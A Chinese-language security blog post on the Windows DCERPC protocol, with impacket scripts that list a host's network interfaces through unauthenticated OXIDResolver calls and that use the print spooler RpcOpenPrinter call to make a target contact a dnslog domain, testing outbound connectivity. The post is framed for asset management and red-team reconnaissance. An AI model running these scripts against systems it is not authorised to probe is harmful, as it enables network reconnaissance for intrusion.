前言
一年前,我读到过这样一篇文章,是白帽汇赵武大佬写的,里面答题介绍的内容是关于协议识别-DCERPC(),我看后觉得深有感触,一直想好好学习下,无奈事情太多,这一拖就是一年,今天又看到了类似的文章,所以今天下定决心要搞清楚。
赵武大佬文章里有这样一句话“识别所有应该识别的协议,收集所有世界上存在的软硬件指纹规则,录入所有能够被利用的网络类漏洞exp”,那么DCERPC协议我认为就是实现这个目标路上的基石。
今天看到了某位研究员的两篇文章,提到了协议相关内容并做了很不错的实践,分享给大家
https://nosec.org/home/detail/4709.html
https://payloads.online/archivers/2020-07-16/1/
https://payloads.online/archivers/2022-03-04/1/

协议介绍
首先我们理解下RPC协议,百度百科解释非常简单,大体可理解为RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
去年爆火的漏洞,CVE-2021-1675(Windows Print Spooler 远程命令执行漏洞),也是在调用rpc函数时产生了漏洞导致。
dcerpc协议,是非常基础的Windows系统的通信协议,它比rdp协议更普遍,默认开启。由于内容丰富,接口众多,早期的安全人员基于它写了很多蠕虫病毒,一度让微软和运营商非常头疼。dcerpc的默认端口是135,上面承载了包含wmi,有认证就有ntlmssp,还有epmapper等一系列丰富的系统信息,甚至还能获取网卡IP地址列表。(来源网络空间测绘核心技术之:协议识别(DCERPC篇))

应用场景
作为在安全行业从业人员来讲,我会对decrpc能获取到的信息感到震惊,因为就单单能获取网卡IP地址列表来讲,就有如下两种常见需求:
1. 企业运营角度:终端/服务器都有哪些是单网卡/双网卡/多网卡,有哪些终端/服务器违规外联了?
2. 红队攻击角度:什么?我能获取到主机网卡IP地址?听说还可以不用认证?信息收集很不错(其实部分工具已经实现了该协议的利用)em……还能探测是否连接互联网(能不能出网太关键了)
本文以这两种角度谈谈实现方式。

基础知识
本文可能会用到impacket库,impacket是一个出色的Python类库,用于处理网络协议的Python类的集合,专注于提供对数据包的简单编程访问。
https://github.com/SecureAuthCorp/impacket

获取网卡信息
OXIDResolver接口
该接口是无需授权的,可以通过调用ServerAlive2,得到目标系统网卡的所有IP地址。
代码实现最关键的是通过DCERPCTransportFactory获取transport对象,然后确定需要绑定的RPC的协议序列,关于协议序列点击。
代码实现一(使用impacket):
#coding=utf-8
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE as authLevel
from impacket.dcerpc.v5.dcomrt import IObjectExporter
def getinfo(ip):
stringBinding = r'ncacn_ip_tcp:%s' % ip
rpctransport = transport.DCERPCTransportFactory(stringBinding)
dceinfo = rpctransport.get_dce_rpc()
dceinfo.set_auth_level(authLevel)
dceinfo.connect()
objExporter = IObjectExporter(dceinfo)
bindings = objExporter.ServerAlive2()
print("[*] 正在通过dcercp探测"+ip+"信息…… ")
for address in bindings:
NetworkAddr = address['aNetworkAddr']
print("info: " + NetworkAddr)
if __name__ == '__main__':
ip = input("请输入IP地址: ")
getinfo(ip)
代码实现二(不使用impacket):
https://github.com/Rvn0xsy/OXID-Find/

探测是否连接互联网
连接互联网的主机一定是攻击者最关注的,同样也是企业运营者最注意防护的。
探测实现代码大佬已经给出了
https://payloads.online/archivers/2022-03-04/1/
作者给出的思路是:
脚本执行--->被探测主机访问给定地址--->给定主机抓包查看
那么可以仿照设计:
脚本执行--->被探测主机访问dnslog--->产生记录--->证明主机出网。
代码实现:
#coding=utf-8
import sys
from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
TS = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
IFACE_UUID = rprn.MSRPC_UUID_RPRN
def findnetwork(user,passwd,dnslog,flag):
username = user # 用户名
password = passwd # 密码
domain = ''
lmhash = ''
nthash = ''
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:'+flag+r'[\pipe\spoolss]')
rpctransport.set_credentials(username, password, domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(IFACE_UUID, transfer_syntax=TS)
request = rprn.RpcOpenPrinter()
target_url = "http://"+flag+"."+dnslog
request['pPrinterName'] = '%s\x00' % target_url
request['pDatatype'] = NULL
request['pDevModeContainer']['pDevMode'] = NULL
request['AccessRequired'] = rprn.SERVER_READ
try:
dce.request(request)
except:
pass
if rpctransport:
rpctransport.disconnect()
if __name__ == '__main__':
ip = sys.argv[1]
user = sys.argv[2]
passwd = sys.argv[3]
dnslog = sys.argv[4]
findnetwork(user,passwd,dnslog,ip)
print(ip+" end!")
执行
批量检测回头放出~
容易出现的问题:
如果出现impacket.dcerpc.v5报错,可以重新安装
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
